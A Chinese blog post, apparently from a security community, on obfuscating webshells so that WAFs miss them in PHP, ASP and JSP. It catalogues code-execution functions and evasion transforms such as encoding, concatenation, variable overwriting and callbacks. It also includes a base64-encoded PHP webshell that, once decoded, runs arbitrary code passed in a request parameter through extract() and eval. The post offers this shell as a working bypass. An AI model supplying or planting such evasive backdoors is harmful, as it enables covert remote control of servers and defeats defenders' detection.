嘻嘻, 你说的这些只是从关键字层去做bypass ,还有流量层, 以及webshell的加载方式、基于容器的特性hook,内存等都没提,嘿嘿 ,那些都是点。
WAF会维护一个规则库记录webshell常用的函数、方法、结构,当匹配上对应特征时便发出警告、直接封禁或隔离。但是安全厂商们为了提升用户体验,一般会以可用性为首要目标,其次才是安全性,这是一个硬伤也是绕过的基础
由于正常业务功能的需要,WAF通常并不会全盘枪毙语言中可以执行代码的结构或函数(比如eval
),而是判断敏感函数是否处于某种木马后门常用且业务功能不常用的结构中,绕过即是找出既能达到目的又让WAF误以为无害的结构(即漏报)。相应的,如果可以知道WAF对于程序猿们提出的误报作出了哪些妥协,也可以从中获得一些绕过的灵感
为了找出能让WAF漏报的结构,一是尝试混淆可以执行代码的结构或函数,二是混淆传入的参数。而混淆具体该怎么做,便需要结合不同编程语言自身特性分析,总体方向有:
字符串变换(拼接、编码、取反、加密)
函数特性
类特性
迷之注释
变量污染
PHP
PHP有着极其灵活的语言结构,这为涉世未深的开发们提供了极大的便利,而易用与安全似乎自古就是死对头。。。
以下几种结构/函数可将字符串作为代码执行:
# PHP4|5|7
eval ( string $code ) : mixed
# PHP4|5
assert ( mixed $assertion [, string $description ] ) : bool
# PHP7.1
assert ( mixed $assertion [, Throwable $exception ] ) : bool
# PHP4|5利用/e修饰符
preg_replace/preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string
# 文件包含
include
include_once
require
require_once
file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string
以下几种变换可用来加混淆:
.
(句点)隔离拼接字符串简单拼接可衍生出拼接
$GPC
、调用时传值拼接(比如Cookie
)、利用数组下标取值、远程加载核心shell变量覆盖(
extract
、parse_str
、foreach
、import_request_variables
)URL(
urlencode
),BaseXX(base64_encode
),ROT13(str_rot13
)简单编码可衍生出插入
%00
与%0a
、利用字符串函数(chr
、bin2hex
、strrev
、str_replace
)构造更多变换取反,异或,加密
可变函数,匿名函数,回调函数(关键字:
callable
、mixed $options
、handler
、callback
、invoke
)、反引号类调用,类继承,类反射,序列化
回调函数与类调用可衍生出XML执行代码、PDO执行代码、Memcache执行代码、YAML执行代码
参数注释
创建/传递大量垃圾变量
排列组合
按照师傅们的惯例,文章写到这里该杀只活马祭天了,so。。。
PHP7.2后assert
也从函数变成了结构,使得马儿们几乎失去了可变函数这一无污染天然牧场,为了兼容性这次针对eval
的参数作混淆试试效果,随缘挑几个上述变换瞎组合一下(自建函数+调用时传值+数组下标取值+变量覆盖)
# base64decode
PD9waHAKIyA/a2V5PWhhc2gmcGFzcz1waHBpbmZvKCk7CmZ1bmN0aW9uIGZmZigpewogICAgJHRxbCA9IGFycmF5KCJkZHciID0+ICRfUkVRVUVTVFsncGFzcyddKTsKICAgICRkZHcgPSBudWxsOwogICAgaWYgKCRfR0VUWydrZXknXSA9PT0gJ2hhc2gnKQogICAgICAgIGV4dHJhY3QoJHRxbCwgRVhUUl9JRl9FWElTVFMpOwogICAgcmV0dXJuICRkZHc7Cn0KJGFhYSA9IGlzc2V0KCRfR0VUWydrZXknXSkgPyBhcnJheSgneG1zbCcsIGFycmF5KCJ4c3dsIiA9PiBmZmYoKSkpIDogbnVsbDsKZXZhbCgkYWFhWzFdWyJ4c3dsIl0pOw==
有些结构是完全不必要的,只是我想花里胡哨组合玩一下2333,有些结构也可以继续优化,比如将赤果果的函数改写为类方法。总之对各种变换排列组合应该也够用一阵子了,小伙伴说如果写成组件化的工具,以后就可以像VS拖代码块一样拖Bypass模块QAQ
参考链接
ASP
ASP支持VBScript和JScript语法
以下几种结构/函数可将字符串作为代码执行:
Eval Request(0)
Execute Request(0)
ExecuteGlobal Request(0)
以下几种变换可用来加混淆:
+
(加号)、&
隔离拼接字符串简单拼接可衍生出调用时传值拼接
URL(
unescape
),UTF-7,screnc.exe编码利用字符串函数(
chr
、strreverse
、Replace
)类调用
CreateObject
=>ScriptControl
参考链接
ASP/ASPX Webshell Hidden Learning
JSP
以下几种结构/函数可将字符串作为代码执行:
java.lang.Runtime
java.lang.ProcessBuilder
以下几种变换可用来加混淆:
隔离拼接字符串
类加载、类反射
参考链接
结个尾
之前认为绕过WAF纯靠脸,学习过后发觉还是有一点点规律可循,现在觉得套路占一半吧,另一半还是要靠欧洲血统Orz
对于ASP/ASPX/JSP还不懂,等有一定基础再继续填坑,先继续学习一下绕过流量检测去。。。
更:投稿后学习流量免杀时,发现师傅们已经玩得差不多了:绕过WebShell检测的总结之流量免杀